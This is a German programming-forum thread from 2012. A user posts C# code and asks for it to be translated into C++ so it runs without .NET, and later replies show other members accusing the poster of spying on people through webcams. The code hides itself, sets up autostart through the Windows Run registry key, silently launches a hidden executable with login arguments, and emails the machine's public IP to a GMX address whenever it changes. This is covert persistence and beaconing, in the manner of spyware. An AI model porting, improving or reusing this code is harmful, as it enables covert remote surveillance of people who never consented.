myGully.com

myGully.com (https://mygully.com/index.php)
-   Programmierung (https://mygully.com/forumdisplay.php?f=67)
-   -   C# in C++ übersetzen (https://mygully.com/showthread.php?t=2568674)

Beyaz 11.02.12 18:34

C# in C++ übersetzen
 
hey,

da ich in der schule bisschen c# gelernt habe..habe ich sowas programmiert..sieht bestimmt für erfahrene leute etwas komisch aus aber naja es erfüllt seinen zweck...aber brauche den code in c++ und deshalb wollte ich mal fragen ob jemand es mir kurz übersetzen kann..dauert für viele bestimmt max.5min....

danke

Code:


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
using Microsoft.Win32;
using System.Net;

namespace WindowsFormsApplication2
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            this.Visible = false;
            this.FormBorderStyle = FormBorderStyle.SizableToolWindow;
            this.ShowInTaskbar = false;

         
            Microsoft.Win32.RegistryKey regKey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
            if (regKey.GetValue("hallo") == null)
            {
                regKey.SetValue("hallo", Application.ExecutablePath.ToString());
            }
 
            if (File.Exists(@"C:\Windows\hallo.exe"))
            {
                Process p = new Process();
                p.StartInfo.FileName = "hallo.exe";
                p.StartInfo.Arguments = " --s_user s77 --s_password s77";
                p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                p.StartInfo.UseShellExecute = true;
                p.StartInfo.RedirectStandardOutput = false;
                p.Start();
                p.Close();

                System.Net.WebClient IPGetter = new System.Net.WebClient();
                string SourceCode = IPGetter.DownloadString(@"http://www.wieistmeineip.de/");

               
                int IPStartPosition = SourceCode.IndexOf("class=\"ip\">");
                int IPEndPosition = SourceCode.IndexOf(@"</h1>", IPStartPosition);
                string IP = SourceCode.Substring(IPStartPosition + ("class=\"ip\">").Length, IPEndPosition - (IPStartPosition + ("class=\"ip\">").Length));


                if (File.Exists(@"C:\text.txt") == false)
                {
                    StreamWriter myWriter = File.CreateText(@"C:\text.txt");
                    myWriter.WriteLine(IP.ToString());
                    myWriter.Close();

                    System.Net.Mail.SmtpClient s = new System.Net.Mail.SmtpClient("mail.gmx.net", 587);
                    System.Net.NetworkCredential nc = new System.Net.NetworkCredential("[Link nur für registrierte und freigeschaltete Mitglieder sichtbar. Jetzt registrieren...]", "12345");

                    s.EnableSsl = true;
                    s.UseDefaultCredentials = false;
                    s.Credentials = nc;

                    s.Send("[Link nur für registrierte und freigeschaltete Mitglieder sichtbar. Jetzt registrieren...]", "[Link nur für registrierte und freigeschaltete Mitglieder sichtbar. Jetzt registrieren...]", "subject", IP.ToString());
                   
                }
                else
                { 
                   
                    StreamReader myReader = File.OpenText(@"C:\text.txt");

                    if (myReader.ReadLine() == IP)
                    {

                    }
                    else
                    { 
                        myReader.Close();
                        StreamWriter myWriter = File.CreateText(@"C:\text.txt");
                        myWriter.WriteLine(IP.ToString());

                        myWriter.Close();

                        System.Net.Mail.SmtpClient s = new System.Net.Mail.SmtpClient("mail.gmx.net", 587);
                        System.Net.NetworkCredential nc = new System.Net.NetworkCredential("[Link nur für registrierte und freigeschaltete Mitglieder sichtbar. Jetzt registrieren...]", "1234");

                        s.EnableSsl = true;
                        s.UseDefaultCredentials = false;
                        s.Credentials = nc;

                        s.Send("[Link nur für registrierte und freigeschaltete Mitglieder sichtbar. Jetzt registrieren...]", "[Link nur für registrierte und freigeschaltete Mitglieder sichtbar. Jetzt registrieren...]", "subject", IP.ToString());

                   
                    }
                    myReader.Close();
                }


            }

            Application.Exit();
        }
    }
}


Thelvan 11.02.12 18:47

Visual c++?

Beyaz 11.02.12 18:49

visual c++ basiert ja auch auf net framework oder ?

ich muss diese anwendung starten können ohne aufm rechner net frameworkzu installieren müssen..

Thelvan 11.02.12 18:55

Richtig, dann kannste das auch nichtmal eben 1:1 so übersetzen, da (wie du ja schon gesagt hast) du nicht das .net framework verwenden willst/kannst.

Und hier hat eben jedes Framework andere Komponenten. Hast du denn schon eine bestimmt Entwicklungsumgebung / Bibliothek? (vcl, stl, atl, boost....?)

Beyaz 11.02.12 19:06

also es muss nicht 1:1 übersetzt werden...die funktionsweiße soll so ungefähr übereinstimmen...

und deine 2 frage kann ich nicht wirklich beantworten..da ich sie nicht wirklich verstehe ;-) ...wie schon geschrieben habe nur so die grundlangen in c# gehabt in der schule.. mehr nicht...und sinst habe ich mich nicht so sehr damit beschäftig...

wasili_dsw 12.02.12 00:48

spanner

Beyaz 12.02.12 08:05

Zitat:

Zitat von wasili_dsw (Beitrag 23271298)
spanner


? was ist dein Problem...

Beyaz 12.02.12 10:25

was soll ich bitte schön mit dem Programm anstellen können..?
habe ich euch gebeten mir ne keylogger zu übersetzten oder doch ne Virus..

Beyaz 12.02.12 10:46

ich hab ja gesagt dass ich nur die Grundlagen drauf habe...habe die Funktion gebraucht und habe es hier rausskopiert
[Link nur für registrierte und freigeschaltete Mitglieder sichtbar. Jetzt registrieren...] und es nicht geändert ..brauche es nicht um die ip Adressen zu kopieren..sondern die Funktion Information ausm Internet herunterzuladen und zu speichern...ich habe fast alle befehle..soabschnittsweise ausm internet und hab es mir dann zusammen gebastelt...

und ihr meint ich könnte damit die webcams von zuhause aus ein und ausschalten? ich wusste ja nicht dass ich so gut programmieren kann^^

ihr seit ja mal brutal^^..nur weil da webcam stand und ip ^^...kannst gerne zu polizei gehen wenn du willst melde dich privat kannst dir gerne meine ip adresse geben


Alle Zeitangaben in WEZ +1. Es ist jetzt 21:58 Uhr.

Powered by vBulletin® (Deutsch)
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.